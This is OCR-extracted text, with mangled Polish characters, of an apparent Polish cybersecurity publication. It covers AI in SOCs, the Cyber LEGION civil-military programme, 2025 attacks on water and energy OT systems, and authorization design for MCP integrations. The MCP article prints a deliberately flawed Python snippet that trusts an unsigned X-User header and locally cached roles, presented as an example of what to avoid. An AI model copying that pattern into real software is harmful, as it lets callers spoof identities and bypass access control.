w stanie na biezgco aktualizowaé swoich procedur. Kazde
nowe wdrozenie Al wymaga wiec ponownej, czasochtonnej
analizy zgodnosci, przygotowania dodatkowej dokumentacji
oraz zaplanowania nadzoru cztowieka, co znaczgco kompli-
kuje i wydiuza projekty. W efekcie wiele organizacji wybiera
zachowawczos$¢: opdznia decyzje inwestycyjne, ogranicza
skale pilotazy lub catkowicie rezygnuje z bardziej zaawanso-
wanych zastosowan Al w obawie przed ryzykiem naruszenia
nie do konca jeszcze ,,wygrzanych” regulacji.

4.3. Obowiagzujace regulacje

W Unii Europejskiej gtéwna regulacja zwigzang ze sztuczng
inteligencja jest Al Act. Jest to rozporzadzenie wprowadza-
jace pierwsze kompleksowe zasady projektowania, wdraza-
nia i uzywania systemow sztucznej inteligencji w UE. Bazuje
na podejsciu opartym na ryzyku: zakazuje systemy o niedo-
puszczalnym ryzyku, a dla wysokiego ryzyka wymaga m.in.
zarzadzania ryzykiem, nadzoru ludzkiego, dokumentaciji,
testéw i monitoringu. W efekcie organizacje muszg spo-
rzadzi¢ inwentarz swoich systemoéw Al, sklasyfikowac je,
dostosowacé procesy i nadzér do nowych obowigzkéw, co
zwigksza koszty wdrozen.

Przysztos¢ -
czy terazniejszoscé?

Na postawione tytutowe pytanie trudno jest udzieli¢
jednoznacznej odpowiedzi, poniewaz — to zale-

zy. Dla duzych organizaciji integrowanie sztucznej
inteligenciji z istniejgcym procesem detekcji i reakcji
na zdarzenia bezpieczeristwa jest obecnie najbar-
dziej oczywistym kierunkiem rozwoju. W niektdrych
przypadkach jest juz stanem istniejgcym. Nie da sie
nie zauwazy¢ benefitow z tym zwigzanych. Przede
wszystkim jest to wzrost produktywnosci pracow-
nikéw SOC, zwiazany z ograniczeniem konieczno-
Sci wykonywania powtarzalnych, nierozwijajgcych
zadan, ale réwniez uproszczenie procesu przekazy-
wania wiedzy w zespole.

Z drugiej strony, wcigz na rynku wystepujg organiza-
cje, ktére dopiero raczkujg pod wzgledem monitoro-
wania bezpieczeristwa — znajduja sie na pierwszym
poziomie w prezentowanym w jednym z poprzednich
rozdziatéw modelu dojrzatosci. Dla nich sztuczna
inteligencja brzmi jak futurystyczna teoria wyciagnie-
ta z filmu science fiction.

Dlatego, wracajac do odpowiedzi na zadane pytanie,
z perspektywy duzych przedsigbiorstw z pewnoscia
wkraczamy w ere autonomicznych SOC-6éw, nato-
miast mniejsze firmy, zlokalizowane na nizszych po-
ziomach dojrzatosci, musza jeszcze chwile poczekac
na przetarcie uproszczonej sciezki.

W przysztosci techniczny prég wejscia moze sie
obnizyé¢, dzieki m.in. rozwojowi wysokowydajnych,
wyspecjalizowanych w danej dziedzinie matych mo-
deli jezykowych (Small Language Model, SLM). Mo-
dele jezykowe tego typu charakteryzujg sie znacznie
nizszym zapotrzebowaniem na moc obliczeniowa,
co pozwoli na szerszg implementacje agentowych
rozwigzan w SOC-ach na rynku.
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Cyber LEGION,
czyli konsolidacja
Z Szersza
perspektywa

// ptk Jarostaw Wacko

Cyber LEGION to platforma zaprojektowana do szerokiej wspotpracy
sfery cywilnej z wojskiem w obszarze cyber. Zgodnie z ideg programu,
ma on wzmachiac¢ cyberodpornos¢ RP poprzez budowanie silnych
relacji polskich sit zbrojnych z rynkiem cywilnym, nie powodujac przy
tym zagrozen dla ciagtosci jego dziatania. Jest to o tyle wazne, ze
wspotpraca w ramach Cyber LEGION-u pozwala wspdlnie szkoli¢ sie

i wymienia¢ wiedzg oraz budowac obopdlne zaufanie, a docelowo tak
zgraé procedury resortu obrony narodowej z sektorem cywilnym, aby
w sytuacji zagrozenia obrona cyberprzestrzeni mogta odbywag sie po-
przez wspoétprace z podmiotami cywilnymi, a niekoniecznie wcielanie
ich personelu do Sit Zbrojnych RP.
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Swoja przygode z czyms, co dzi$ z duma nazywamy ,,cy-
ber”, zaczatem w 2008 roku. W tamtym czasie w resorcie
obrony narodowej formalnego ksztattu nabieraty réwniez
struktury cyberbezpieczenstwa. Wtedy tez zostatem
skierowany na jedno z pierwszych posiedzen SRnIK, tzw.
»Sernika” — czyli zespotu dziatajgcego w ramach Systemu
Reagowania na Incydenty Komputerowe. Byt to zespét
specjalistow odpowiedzialnych za cykliczne analizy stanu
cyberbezpieczenstwa systemoéw resortu obrony narodowej.

Z perspektywy czasu mozna stwierdzié, ze byty to pierwsze

i wazne oznaki konsolidacji wokét spraw cyberbezpieczen-
stwa, cho¢ wtedy jeszcze tylko konsolidacji wewnatrzresorto-
wej. Pomimo zakresu dziatania SRnlK, skupionego na sitach
zbrojnych, byt to wazny krok naprzéd, bo w jednej sali cyklicz-
nie zasiadali obok siebie i rozmawiali o cyberbezpieczerstwie
przedstawiciele kluczowych w tym obszarze komérek sit
zbrojnych. Nie bez znaczenia pozostaje fakt, ze w spotkaniach
SRnIK brat udziat twérca i obecny dowddca Komponentu
Wojsk Obrony Cyberprzestrzeni — gen. dyw. Karol Molenda.

Juz wtedy dato sie zauwazy¢ rosngce przekonanie, ze bez-
pieczna cyberprzestrzert wymaga czegos wiecej niz ,,silo-
sowa” obrona i ochrona, ze bez rozszerzenia perspektywy
cyberbezpieczenstwo bedzie nam sie stale wymykaé ,,przez
palce”. Natomiast nie byto oczywiste, ze sity zbrojne powinny
otwiera¢ sie na szerokg wspotprace rowniez z sektorem
cywilnym. Zdarzaty sie opinie, ze jest to niepotrzebne, a by¢
moze nawet i szkodliwe. Tu naprawde potrzeba byto wizjo-
neréw z autorytetem i charyzma, ktérzy nie bali sie poptynaé
pod prad, by zmieniaé schematy i tworzy¢ nowa jakos¢.

Przewazyta opcja wspotpracy. Pierwsze pozytywne efekty
to natowskie éwiczenia Locked Shields (LS), wygrane przez
polski zespét ztozony z zotnierzy i przedstawicieli sektora
cywilnego. W kolejnych latach wokét polskiej reprezentaciji
gromadezit sie potencjat coraz lepszych specjalistéw, a gdy
w roku 2020 powierzono mi dowodzenie polskim zespotem
LS, byto ich juz ponad 150. Kolejne lata to rozwdj i mie-
dzynarodowe sukcesy zespotu, ktéry od czterech lat nie
schodzi z podium tych najwigkszych na $wiecie i najbar-
dziej ztozonych ¢wiczen cyberobrony — Zzadnemu innemu
panstwu przez 15 lat trwania LS to sie nie udato.

Ale i to przedsiewziecie zaczeto by¢ mate dla polskiej spo-
tecznosci cyber. Pomimo ze w roku 2025 zesp6t LS liczyt juz
ponad 280 o0séb, nadal liczba specjalistéw, ktérym musieli-
$my odmawia¢ udziatu we wspdlnych ¢wiczeniach, byta dia
nas nie do przyjecia. Coraz trudniej bylo tez nam spotykaé

sie na konferencjach poswigcanych cyberbezpieczeristwu

i odpowiadac $wietnym cyberspecjalistom, ze Wojska Obrony

Cyber LEGION obejmuje 13 zadan,
w ramach ktoérych kazdy moze zna-
lez¢ swoje miejsce. Zaczynajac od
poczatkujacych, az po najlepszych
polskich cyberspecjalistow.

Cyberprzestrzeni nie moga na te chwile zaangazowac w petni
ich potencjatu, bo nie ma ku temu odpowiedniej formuty

w ,wojskowym uniwersum” — nawet tak nowoczesnie projek-
towanym jak WOC... Co$ z tym trzeba bylo pilnie zrobi¢ i tak
wiasnie powstata idea powotania Cyber LEGION-u...

Idea Cyber LEGION-u kietkowata nam w gtowach juz od kil-
ku lat. Na poczatku byta realizowana poprzez angazowanie
polskiej cyberspotecznosci we wspdine éwiczenia wojsko-
we w cyberprzestrzeni. Kolejny krok to nieformalny program
»Cyberwojownik +”, w ramach ktérego zaproponowalismy
pierwszym osobom zmiane pracowniczych przydziatow
mobilizacyjnych wtasnie na Wojska Obrony Cyberprze-
strzeni, a docelowo ztozenie przysiegi wojskowej i zostanie
zotnierzami rezerwy WOC. Co byto mitym zaskoczeniem,
uzyskali$my pozytywny odzew i bardzo duzo chetnych
zaréwno do wspotpracy ,z polska flaga na ramieniu”, jak

i w ramach wspdtpracy cywilno-wojskowej bez munduru.

Tak dobrze rokujgcej szansy nie mozna juz byto zmarno-
wac. Pamietam, jak styczniowego wieczoru 2025 roku ode-
bratem telefon i padta decyzja dowddcy WOC: ,,Jarku, pilnie
pisz koncepcije programu, ktérg przedstawimy kierownictwu
do akceptacji”. Sprawa byta pilna i wazna, a jednoczesnie
wymagata szczegdtowego zaprojektowania atrakcyjnego

i spdjnego rozwigzania, ktére bedzie nam stuzyto przez lata.
Musiato ono przede wszystkim pozwoli¢ na kompleksowe
wigczanie potencjatu polskiej spotecznosci specjalistow
cyberbezpieczeristwa w wysitek obronny naszej Ojczyzny.

W efekcie wytezonej pracy, w trybie niemal 24/7, juz

w lutym 2025 roku pierwsza wersja ,Koncepcji programu
konsolidacji polskiej spotecznosci <<cyber>> wokét SZ RP
i Wojsk Obrony Cyberprzestrzeni — Cyber LEGION” — bo
tak brzmi jej oficjalna i petna nazwa - ruszyta z roboczymi
uzgodnieniami w resorcie. Tam uzyskata ostatnie szlify oraz
powazne wsparcie, miedzy innymi ze strony Departamentu
Cyberbezpieczeristwa MON. Gotowy dokument juz w mar-
cu 2025 roku zostat przestany do oficjalnych uzgodnien,

a w maju uzyskat akceptacje ministra Obrony Narodowe;.
Mimo niesamowitego tempa prac — a kazdy, kto pracuje

w instytucji o strukturach korporacyjnych, z pewnoscig
dobrze czuje skale tego wyzwania — stworzyliSmy pro-
dukt, ktory nie tylko uzyskuje bardzo pozytywne recenzje
w obszarze koncepcyjnym, ale co wazniejsze, jest mozliwy
do sprawnej implementacji. Pozwala na petng realizacje
potrzeb i ambicji jego uczestnikdw, a jednoczesnie benefi-
cjentéw programu.

Cyber LEGION, czyli platforma zaprojektowana do szerokiej
wspotpracy obszaru cywilnego z wojskiem w sferze cyber,
sktada sie z 13 zadan, w ktérych kazdy moze znalez¢é swojg
nisze. Zaczynajac od poczatkujacych w obszarach cyber-
bezpieczenstwa, az po najlepszych polskich cyberspecijali-
stéw. Miejsca nie zabraknie takze dla oséb zajmujgcych sie
dziedzinami wspierajgcymi i organizujacymi cyber, takich
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jak: prawnicy, kadra menedzerska, analitycy, osoby pasjonujgce
sie dronami, a nawet mitosnicy e-sportu!

W pierwszej kolejnosci zadania Cyber LEGION-u skierowane sg
do o0s6b, ktére chcg byé zwigzane blizej ze strukturami DKWOC

w obszarze wojskowym. | tu przygotowalismy dla nich zadania:
Cyber-PPM, Cyber-Backup, Cyber-Oficer. Zadania te pozwalajg
na pozyskiwanie specjalistow, ktorzy przenoszeni sg do WOC

na pracownicze przydziaty mobilizacyjne. Cyber-PPM obejmuje
osoby pozostajgce w gotowosci na wypadek powaznych zagrozen
w cyberprzestrzeni, zdolne do wsparcia operacji w cyberprzestrze-
ni prowadzonych przez Sity Zbrojne RP. Program Cyber-Backup
daje mozliwos¢ powotywania do aktywnej oraz pasywnej
rezerwy i obejmuje osoby zdolne do szybkiego wsparcia WOC
w razie rozlegtego lub celowanego cyberataku na kluczowa
infrastrukture — réwniez w czasie pokoju. MoZliwe jest takze
zapewnienie przez cyberlegionistéw wsparcia likwidaciji skutkdw
klesk zywiotowych, ale nadal w ramach dziatar w cyberprzestrzeni
lub IT. Funkcja cyberoficera pozwala na osigganie stopni oficer-
skich w korpusie osobowym cyberbezpieczeristwa i codzienng
stuzbe w WOC lub oczekiwanie na zadania w rezerwie — kontynu-
ujac rozwdj swojej kariery na rynku cywilnym.

Kolejne zadania programu skierowane sg do oséb, ktére chca
wspieraé WOC i SZ RP, ale jeszcze nie zdecydowaty sie na
realizacje tego wsparcia w mundurze (czyli jako zotnierze stuzby
czynnej lub rezerwisci). Zadania te angazujg réwniez cyberspe-
cjalistow, ktorzy posiadajg kategorie zdrowia inng niz A. Dla tych
0s6b przygotowano zadania: Nie tylko A(rmia), Cyber-GYM,
Hack the Army, Capture the flag, E-sport... Zadania te pozwalaja
wspdlnie budowacd potencjat sit zbrojnych, razem ¢wiczyé obrone
w cyberprzestrzeni, testowac bezpieczenstwo systemoéw wojsko-
wych, wymienia¢ wiedze i wspdlnie doskonali¢ umiejetnosci — co
przyniesie korzysci réwniez dla rynku cywilnego, administracii
rzadowej, samorzadowe;j itd.

Jednymi z wazniejszych zadan Programu sg réwniez: CYBER.
MIL z klasg (pozwala wigcza¢ mtodziez szkét Srednich w wysitek
budowy cyberodpornosci RP, a takze moderowac jej rozwoj

w tym kierunku) oraz Cyber-Wiedza z WOC - zadanie angazujace
réwniez najlepsze polskie uczelnie techniczne.

Cyberodpornosé na bazie silnych relaciji

Program Cyber LEGON spotkat sie z bardzo dobrym odbiorem

w spotecznosci cyber i decydentéw w Polsce oraz za granica.
Sprawa zainteresowaly sie nie tylko polskie, ale tez najwieksze
zagraniczne media. Program byt réwniez prezentowany w struk-
turach NATO odpowiedzialnych za cyberbezpieczerstwo. Juz

w pierwszych dniach od ogtoszenia do programu zgtosito sie
ponad 400 os6éb, a na dzis jest juz ich ponad 2500! To potezny po-
tencjat i wielki powod do dumy Polski na arenie miedzynarodowe;.

Zgodnie z ideg programu, ma on na celu wzmacniania¢ cyberod-
pornosé RP poprzez budowanie silnych relacji polskich sit zbroj-
nych z rynkiem cywilnym, jednoczesnie nie powodujac zagrozen
dla ciggtosci dziatania dla tego drugiego. Szczegodlnie wazne ob-
szary wspotpracy to sektory: telekomunikaciji, bankowy, energe-
tyki, transportu, stuzby zdrowia, produkcji zbrojeniowej... Jest to
o tyle wazne, ze wspotpraca w ramach Cyber LEGION-u pozwala

Fenomen spotecznosci

wspdlnie szkoli¢ sie i wymienia¢ wiedzg oraz budowac obopdine
zaufanie, a docelowo na tyle zgra¢ procedury RON z sektorem
cywilnym, aby w sytuacji zagrozenia obrona cyberprzestrzeni
mogta odbywac sie poprzez wspétprace z podmiotami cywilny-
mi, a niekoniecznie wcielanie ich personelu do SZ RP.

W ramach programu Cyber LEGION zrealizowano juz kilkana-

w realizacji programu z dwoma uczelniami w kraju (Uniwersytet
Warszawski i Akademia Goérniczo-Hutnicza), a kolejne poro-
zumienia sg w fazie uzgodnien. W ramach inauguracji Cyber
LEGION-u - catkowicie bezkosztowo i sitami samych cyberlegio-
nistéw — zrealizowano konferencje naukowa dla ponad 400 oséb,
w agendzie ktérej znalazly sie najwazniejsze nazwiska polskiego
cyber, a sama konferencja odbyta sie na AGH z honorowym
udziatem wicepremiera mnistra Obrony Narodowe;j.

W czasie pisania niniejszego artykutu w ramach Cyber LEGION-u
trwaja najwieksze w kraju éwiczenia CTF pod kryptonimem
»Operation Cyber Flag 26”. Sg prowadzone w najnowoczesniej-
szej formule ,,attack-defence”. Podczas ¢wiczen CTF ich uczest-
nicy w dziesiecioosobowych druzynach majg za zadanie zaréwno
broni¢ swojej infrastruktury przed blisko setka atakujacych, jak

i atakowaé dziesiatki systemdw bronionych przez pozostate
druzyny. W tym celu musza rozpoznac i wykorzystac btedy ich
konfiguracji, a jednoczesnie zatata¢ swoje podatnosci. Trwajace
cztery tygodnie éwiczenia angazujg ponad 400 cyberlegionistow,
a 120 najlepszych spotka sie w majowym finale.

Ptk Jarostaw Wacko
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Czego ucza
nas ataki
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Rok 2025 przyniodst duza liczbe incydentéow dotyka-
jacych technologii operacyjnych (OT) w infrastruk-
turze krytycznej i przemystowej. Ataki byty szeroko
komentowane i mimo ze ich konsekwencje nie byty
bardzo powazne, zdarzenia te dobitnie pokazaty, ze
obszar OT jest czesto tzw. migkkim podbrzuszem
wielu przedsiebiorstw, gdzie nietrudno znalez¢ luki

w zabezpieczeniach. To tez kolejny dowéd, ze celem
niektérych grup cyberprzestepcéw nie jest zysk finan-
sowy, ale destabilizacja oraz zastraszenie spoteczen-
stwa, a konsekwencje ich dziatart moga mie¢ bezpo-
$redni wptyw na zycie i zdrowie ludzi.

Jednym z sektoréw na celowniku atakujacych byty
wodociagi. Cyberprzestepcy zdobyli dostep do
systemoéw sterowania stacji uzdatniania wody (SUW)
w Tolkmicku, Matdytach, Sierakowie, Szczytnie. Wia-
domo réwniez o atakach na oczyszczalnie $ciekow,
m.in. w Wydminach i Kuznicy, a latem gtosno byto

o prébie odciecia doptywu wody do jednego z naj-
wiekszych miast w Polsce.

Innym czesto atakowanym w 2025 roku sektorem byta
energetyka. Minister Cyfryzacji informowat o ponad

4 tys. incydentéw, ktére dotyczyly firm zwigzanych

z tg branza. | to wtasnie w tym obszarze doszto do
najpowazniejszego ataku. W grudniu cyberprzestepcy
zaatakowali ponad 30 farm wiatrowych i fotowoltaicz-
nych oraz duzg elektrocieptownie. Atak miat charakter
destrukcyjny, a atakujgcy wykazali sie znajomoscia
systemow automatyki. System energetyczny pozostat
stabilny, ale konsekwencje, szczegdlnie przy wiekszej
skali, mogty by¢ powazne.

Znamienne jest jednak to, ze uzyskanie dostepu do
infrastruktury nie wymagato ze strony atakujgcych du-
zego wysitku. Wykorzystali oni dobrze znane podat-
nosci, wykradzione poswiadczenia i braki w zakresie
podstawowych zasad cyberhigieny. Wspoétdzielone
lub domysine hasta, czesto takie same na wielu
systemach, dodatkowo bez uwierzytelniania wielo-
sktadnikowego, to tylko jedna z czestych luk bedaca
zaproszeniem dla cyberprzestepcéw. W konsekwenciji
atakéw Ministerstwo Cyfryzacji opublikowato zalece-
nia dla wodociagow (luty 2025) i sektora OZE (styczen
2026). Ktada one nacisk na podstawowe zabezpie-
czenia i powinny by¢ lekturg obowigzkowa nie tylko
dla przedsiebiorstw ze wspomnianych sektoréw, ale
wszedzie tam, gdzie wykorzystuje sie technologie
operacyjne.

O tym, ze z tymi zaleceniami nalezy sie nie tylko
zapoznad, ale przede wszystkim pilnie je wdrozy¢,
Swiadczg tez nasze obserwacje z licznych przegla-
déw bezpieczenstwa zrealizowanych w tym roku.
Czesto spotykane luki w zabezpieczeniach to
m.in.: brak oddzielenia sieci OT od infrastruktury
biurowej, nieaktualizowane i podatne systemy,

brak zdefiniowanej i wdrozonej polityki hasel, brak
zdefiniowanych proceséw bezpieczenstwa i pro-
cedur na wypadek incydentu. Nalezy tez zwroécicé
szczeg6lna uwage na dostep do systeméw stero-
wania od strony internetu dla pracownikéw i dla
firm oferujacych utrzymanie systeméw. Dostep
taki jest, niestety, czesto nienalezycie zabezpieczony,
a uwierzytelnianie dwusktadnikowe to wcigz rzad-
kos¢. To sprawia, ze jest to popularny wektor ataku

i nie bez powodu zalecenie Ministerstwa Cyfryzacji
dla wodociggdéw ktadzie nacisk na ten aspekt.

Po stronie mniejszych przedsigbiorstw, operatoréw
infrastruktury krytycznej, ktére czesto sg spotkami sa-
morzadowymi, obserwowalismy braki kompetencyjne
i kadrowe w obszarze cyberbezpieczenstwa, szcze-
golnie w domenie OT. Jest to tez jedna z przyczyn
niskiego poziomu dojrzatosci. Nasze doswiadczenie
pokazuje jednak, ze zrobienie przegladu bezpieczen-
stwa, wskazanie obszaréw do poprawy, wyjasnienie
ryzyk zwigzanych z lukami w zabezpieczeniach i zde-
finiowanie przejrzystego planu naprawczego stanowig
bardzo dobry i skuteczny pierwszy krok na drodze ku
cyberodpornosci.

W budowaniu swiadomosci zagrozen i spo-
sobow ochrony nic nie dziata tak dobrze
jak praktyka. Miedzy innymi w tym celu
powstato nasze . To miej-
sce, gdzie pokazujemy przykiadowe ataki
na infrastrukture przemystowa i prezentu-
jemy dziatanie narzedzi bezpieczenstwa.
To takze bezpieczne srodowisko z rzeczy-
wistymi, fizycznymi elementami automatyki
i SCADA, ktére pozwala testowac rézne
rozwigzania.

Kiedy mamy juz wiedze na temat zagrozen i zidentyfi-
kowalismy stabe punkty naszej infrastruktury, przy-
chodzi czas na wdrozenie zabezpieczen. Zaréwno
tych technicznych, jak i organizacyjno-procesowych.
Przyktady atakéw wymienione wczesniej dobitnie
pokazujg, ze oba obszary - technologia i procesy

- musza ze soba wspotdziataé, aby ochrona byta
efektywna.

Od strony technicznej, poza absolutnymi podstawami
zwigzanymi z separacja i segmentacja sieci OT, wta-
$ciwa, bezpieczng konfiguracjg (np. dostepy), aktuali-
zacjami i backupami, skutecznym i czesto wdrazanym
zabezpieczeniem przeznaczonym dla infrastruktury
OT sa przemystowe systemy klasy IDS (systemy
detekcji wtaman). Oferuja nieinwazyjny monitoring
niezagrazajacy ciagtosci dziatania i pozwalajacy
wykry¢ podatnosci, znane zagrozenia oraz rézne
anomalie, ktére moga by¢ symptomem ataku. Analiza
wspomnianego incydentu w elektrocieptowni pokaza-



ta, ze atakujgcy catymi miesigcami dziatat w infrastrukturze
i prowadzit rekonesans. Systemy takie jak IDS pozwalajg
na wykrycie réznych podejrzanych aktywnosci odpowied-
nio wczesnie;j.

‘ Network Scan
12440748 | Status:open

Rysunek 1. Przemystowy system IDS w akcji — detekcja rekonesansu w sieci
OT, Laboratorium OT Orange Polska

Oczywiscie po detekcji incydentu musi by¢ jeszcze wtasci-
wa reakcja po stronie dotknietego atakiem przedsigbior-
stwa lub zewnetrznego zespotu SOC, ktéry poinformuje

o wykryciu zdarzenia, zrobi analize i pomoze w usunieciu
zagrozenia. Monitoring powinien réwniez obejmowac
obszar OT, ktéry wciaz jeszcze bywa pomijany. Doswiad-
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Zrobienie przegladu bezpie-
czenstwa, wskazanie obszarow
do poprawy, wyjasnienie ryzyk
zwigzanych z lukami w zabez-
pieczeniach i zdefiniowanie
przejrzystego planu naprawcze-
go to bardzo dobry i skutecz-
ny pierwszy krok na drodze ku
cyberodpornosci.

czenia z incydentéw z 2025 roku po raz kolejny pokazuja,
ze wdrozone rozwigzanie bezpieczenstwa bez zapewnienia
monitoringu i wiasciwych procesow nie jest skutecznym
zabezpieczeniem. Musza o tym pamietac przedsiebiorcy

i administratorzy infrastruktury krytycznej, ktérych wkrétce
obejmie nowelizacja ustawy o krajowym systemie cyber-
bezpieczenstwa, wdrazajgca dyrektywe NIS2. Monitorowa-
nie w trybie ciagtym jest jednym z wymogdw ustawy.

Pozostaje mie¢ nadzieje, ze ciggta edukacja, wymagania
regulacyjne i nauka ptyngca z incydentéw przyniosa w naj-
blizszym czasie wzrost Swiadomosci i poprawe zabezpie-
czen w tak istotnym obszarze jak infrastruktura krytyczna

i przemystowa.
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MCP w praktyce:

Stanistaw Koziot

TL;DR MCP to warstwa integracyjna miedzy LLM a narzedziami, ktéra
powinna petni¢ funkcje mostu z barierkami, a nie ,,drugiego systemu
autoryzacji”. Kluczowe jest, aby decyzje autoryzacyjne pozostaty

w IAM, a MCP jedynie egzekwowat je na bramce, korzystajac z to-
kendéw z audytami przypietymi do konkretnego zasobu. Niezbedne jest
stosowanie silnych tozsamosci, krotkich TTL tokenéw i segmentaciji,
aby uniknag¢ chaosu, driftu uprawnien i rozmycia rozliczalnosci.


http://cert.orange.pl

MCP to warstwa integracyjna miedzy LLM a narze-
dziami, ktéra szybko dotyka produkciji: prawdziwych
danych, uprawnien i skutkéw operaciji. To nie ,,plu-
gin”, lecz kolejny trust boundary w taricuchu identity
=> authorization =» execution. Bez twardych barier
(IAM, polityki, audyt, kontrola i rotacja tokenéw) taka
warstwa potrafi wprowadzi¢ chaos szybciej,

niz zdgzysz domknac¢ procedury.

MCP to warstwa/protokdt integracyjny miedzy
modelem jezykowym a narzedziami. Zamiast bu-
dowac osobne wtyczki i adaptery, mozna wyko-
rzysta¢ MCP, ktére standaryzuje kontrakt: serwer
publikuje katalog narzedzi (nazwy, opisy, schema-
ty wejscia/wyijscia), a orkiestrator/agent negocjuje
dostepne operacje i wywotuje je w imieniu uzyt-
kownika. Z perspektywy architektury to nie ,magia
LLM”, tylko przejrzysty interfejs do zdalnego uru-
chamiania narzedzi (remote tool execution), ktéry
porzadkuje integracje i upraszcza ich cykl zycia.

Ktopoty zaczynajg sie, gdy ten uporzadkowany
interfejs tagczymy z systemami dziedzinowymi majacy-
mi dojrzate modele uprawnien: RBAC/ACL, scope’y,
dziedziczenie, wyjatki, kontekst zasobow i wtasny
audyt. Od tego momentu MCP staje sie elementem
Sciezki bezpieczenstwa: przenosi tozsamosé, wptywa
na autoryzacje i wywotuje operacje o realnych
skutkach w produkcji. Innymi stowy, przeprowadza
nas przez kolejny trust boundary w taricuchu identity
=> authorization =» execution.

Najczestszy btad to odtwarzanie
autoryzacji w MCP. Przechowy-
wanie lub interpretowanie rol

z systemow dziedzinowych two-
rzy ,,drugi system autoryzacji”:
pojawiaja sie drift uprawnien,
wyjatki ,na chwile”, niespéjne
mapowania rol/scope’ow i rosnie
powierzchnia ekspozycji (tokeny,
cache, logi). Rozliczalnos¢ end-
-to-end sie rozmywa, a Shadow
Al ma idealne warunki.

Dlatego warto od razu postawi¢ wyrazng granice.
MCP samo w sobie nie jest ,dziurawe”, ale dota-
cza nowg warstwe, nowe tokeny i nowe miejsce na
btedy. Nie nalezy w nim odtwarzac logiki autory-
zacji, ktéra powinna pozostaé w IAM i systemach
dziedzinowych. Spéjny wzorzec to: decyzje w IAM,
egzekwowanie w bramce (denybydefault, walidacja
podpisu/iss/exp/aud), a tokeny przycinane do kon-
kretnego zasobu (token exchange z aud per zaséb,
zasada least privilege). Dzieki temu MCP pozostaje
mostem z barierkami — a nie kolejnym réwnolegtym
systemem uprawnien.

Najczestszy btad to odtwarzanie autoryzacji w MCP.
Przechowywanie lub interpretowanie rél z systemoéw
dziedzinowychch tworzy ,,drugi system autoryzacji”:
pojawiaja sie drift uprawnien, wyjatki ,na chwile”,
niespdjne mapowania rél/scope’éw i rosnie po-
wierzchnia ekspozycji (tokeny, cache, logi). Rozli-
czalnos$¢ end-to-end sie rozmywa, a Shadow Al ma
idealne warunki: automaty wykonuja akcje, ktérych
nie da sie jednoznacznie przypisa¢ do uzytkownika

i polityki.

from time import time
_cache = {}

def get roles(uid):

exp, roles = cache.get (uid, (0, []))
if exp < time() :
roles = domain fetch roles(uid)

_cache[uid] = (time() + 300, roles)

return roles

def handle (req) :
uid = reqg.headers([,X-User”]
roles = get roles(uid)
if ,read:hosts/*” not in expand(roles):
raise PermissionError (,DENY”)
return domain list hosts ()

Tu MCP/adapter decyduje na podstawie lokalnej
kopii rol i zaufanego nagtéwka XUser; bez krypto-
graficznie powigzanego tokenu (OIDC/JWT, intro-
spekcja) znika spdjnosé i rozliczalnos$é end-to-end.
Witasciwy wzorzec: decyzje w IAM, egzekwowanie
na bramce, token przyciety do zasobu (aud per
zasoéb).

MCP taczy intencje uzytkownika z wykonaniem
operacji w narzedziach — domyka wiec sciezke
request =» tool invocation =» side effect i staje sie
kolejnym trust boundary, przez ktéry przechodza
tokeny, decyzje autoryzacyjne i dane. Bez barier
taka warstwa nie ,,upraszcza integrac;ji”, tylko
mnozy ryzyko.



Klasyczne barierki, ktére powinny tu zadziataé:

m silna tozsamosé (OIDC) i spdjna propagacja kontekstu,

m polityki ABAC/RBAC wyrazone jako policyascode,

m segmentacja i kontrola egress miedzy komponentami,

m audyt end-to-end (trace/correlation) bez wyciekow
sekretow,

m krotkie TTL i rotacja tokendw,

m zasada najmniejszych uprawnien (least privilege).

W praktyce tatwo o niespdojnos¢ semantyki: uzytkownik
ma jedng tozsamosé, orkiestrator uzywa drugiej do LLM,
do MCP serwera idzie trzecia, a operacje w systemie
dziedzinowym wykonujg sie czwarta (czesto wspodina).
Efekt? System dziata, ale nikt nie potrafi jednoznacznie
wskazac, kto wykonat akcje, na jakiej polityce i z jak
najmniejszym, mozliwym zakresem uprawnien.

Na slajdzie wszystko wyglada prosto: uzytkownik wysyta
zadanie, orkiestrator rozmawia z LLM i wywotuje poje-
dynczy serwer MCP. Robimy discovery narzedzi, dosta-
jemy liste operacji, odpalamy konkretng — jeden serwer,
kilka tooli, jedna $ciezka wywotan.

W produkcji ,prosty serwer” wpada jednak w ekosystem
tozsamosci i sekretéw: logowanie uzytkownika (OIDC/
IAM), osobne poswiadczenia do LLM, oddzielne uwierzy-
telnienie do MCP, tokeny do systeméw dziedzinowych,
a do tego cache (wydajnoscé), logi (audyt) i telemetria.
Gdy dotozysz srodowiska (dev/stage/prod) i zespoty pu-
blikujace wtasne serwery MCP, robi sie graf zaleznosci,
w ktérym trudno utrzymacé spdéjnosé polityk i rozliczal-
nos¢ end-to-end.

Szybko pada pytanie: ,ile tu jest tozsamosci?”. Zwy-
kle co najmniej cztery:

m uzytkownik koricowy (rozliczalnos¢ akcji),

m tozsamos$¢ techniczna orkiestratora do LLM (API key /
service principal),

m tozsamosé, z ktdra orkiestrator wota MCP (kolejny trust
boundary),

m tozsamos$cé/uprawnienia, z ktérymi MCP dziata w syste-
mie dziedzinowym.

Prosty test blueteam: jesli nie da sie¢ w minute odpowie-
dzie¢ na pytanie ,,czyja to byta akcja i na jakich upraw-
nieniach?”, system jest gotowy na niespodzianki.

Zeby nie zaczynac¢ od razu od architektur ,enterprise”,
warto przeanalizowac¢ najprostszy wariant: MCP urucho-

MCP samo w sobie nie jest ,,dziu-
rawe”, ale dotagcza nowa war-
stwe, nowe tokeny i nowe miej-
sce na btedy. Nie nalezy w nim
odtwarzac logiki autoryzaciji,
ktora powinna pozosta¢ w IAM

i systemach dziedzinowych.

mione lokalnie na stacji roboczej jednego uzytkownika.
Intuicyjnie wyglada to bezpiecznie (,to tylko méj kompu-
ter”), ale z perspektywy bezpieczeristwa oznacza prze-
niesienie czesci Sciezki identity > token =» execution na
endpoint, ktéry zwykle nie ma tych samych kontroli co
$rodowisko serwerowe.

Lokalny runtime MCP dziedziczy kontekst procesu uzyt-
kownika: zmienne $rodowiskowe, credential helpers,
tokeny w plikach konfiguracyjnych, cache, a czesto
rowniez dostep do dysku roboczego i repozytoridw.
»Osoba trzecia” nie musi oznacza¢ zaawansowanego
atakujgcego — wystarczy wspoétdzielone urzadzenie,
zdalny dostep, malware na hoscie, zbyt gadatliwe lo-
gowanie w trybie debug, screen-sharing podczas calla
albo przypadkowe udostepnienie katalogu z konfigu-
racja. W praktyce konczy sie to tym, ze sekrety zaczy-
najg zy¢ w miejscach, ktére nie byty projektowane jako
magazyn sekretéw: logi, dumpy bteddéw, cache, .env,
katalog projektu.

